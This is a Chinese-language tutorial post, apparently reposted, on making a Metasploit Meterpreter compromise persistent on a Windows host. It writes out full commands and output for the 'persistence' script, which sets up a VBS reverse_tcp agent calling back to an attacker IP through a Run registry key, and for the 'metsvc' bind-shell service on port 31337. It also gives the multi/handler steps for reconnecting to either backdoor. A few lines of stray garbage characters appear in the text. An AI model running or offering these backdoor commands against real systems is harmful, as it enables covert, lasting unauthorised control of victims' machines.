zoukankan      html  css  js  c++  java
  • meterpreter 如何留后门,使攻击持久化

    安装后门方法一:
    meterpreter >run persistence -X -i 5 -p 443 -r 192.168.0.108


    Persistent agent script is 609628 bytes long
    RunningPersistance Script
    Resource filefor cleanup created at /root/.msf4/logs/persistence/EMASTER-8G5WOLV_20131206.5032/EMASTER-8G5WOLV_20131206.5032.rc
    CreatingPayload=windows/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=443
    [+] PersistentScript written to C:WINDOWSTEMPlOFkqsGGtNr.vbs Starting the service...
    Executingscript C:WINDOWSTEMPlOFkqsGGtNr.vbs
    [+] Agentexecuted with PID 1888
    Installing intoautorun as HKLMSoftwareMicrosoftWindowsCurrentVersionRun TCmdZkXLp
    [+] Installedinto autorun as HKLMSoftwareMicrosoftWindowsCurrentVersionRun TCmdZkXLp

    ^9 b5 q" j
    然后它就在目标机的C:/windows/Temp/下建立一个vbs文件,开机会启动这个文件上面的vbs的确存在


      注释,反弹时间间隔是5s  端口是443 Metasploit服务器Ip是192.168.0.108,缺点是容易被杀毒软件查杀|9 y$ t
    3 X' c  d)W  l$ s
    安装后门方法二:
    meterpreter >run metsvc
    Creating ameterpreter service on port 31337
    Creating atemporary installation directoryC:DOCUME~1ADMINI~1LOCALS~1TempJszPreYrwkWEm...

    >>Uploading metsrv.dll...
    >>Uploading metsvc-server.exe...
    >>Uploading metsvc.exe...
    * Installingservice metsvc
    * Startingservice
    Service metsvcsuccessfully installed.
    meterpreter>
    后门如何利用啊?
       msf > use exploit/multi/handler
       msf  exploit(handler) > set payload windows/metsvc_bind_tcp
       msf  exploit(handler) > set LPORT 31337
       msf  exploit(handler) > set RHOST 192.168.200.140

    msf  exploit(handler)> exploit

  • 相关阅读:
    Android自定义Dialog
    Ubuntu中好用的中文输入法
    Android_去掉EditText控件周围橙色高亮区域
    Android中Bitmap,byte[],Drawable相互转化
    准备期末考试 博客不更了
    NYOJ5 Binary String Matching ——KMP
    hdu1420 Prepared for New Acmer ——快速幂
    点头1010 只包含因子2 3 5的数
    Constructing Roads ——最小生成树
    hdu1257 最少拦截系统 ——DP么?
  • 原文地址:https://www.cnblogs.com/l1pe1/p/9394033.html
Copyright © 2011-2022 走看看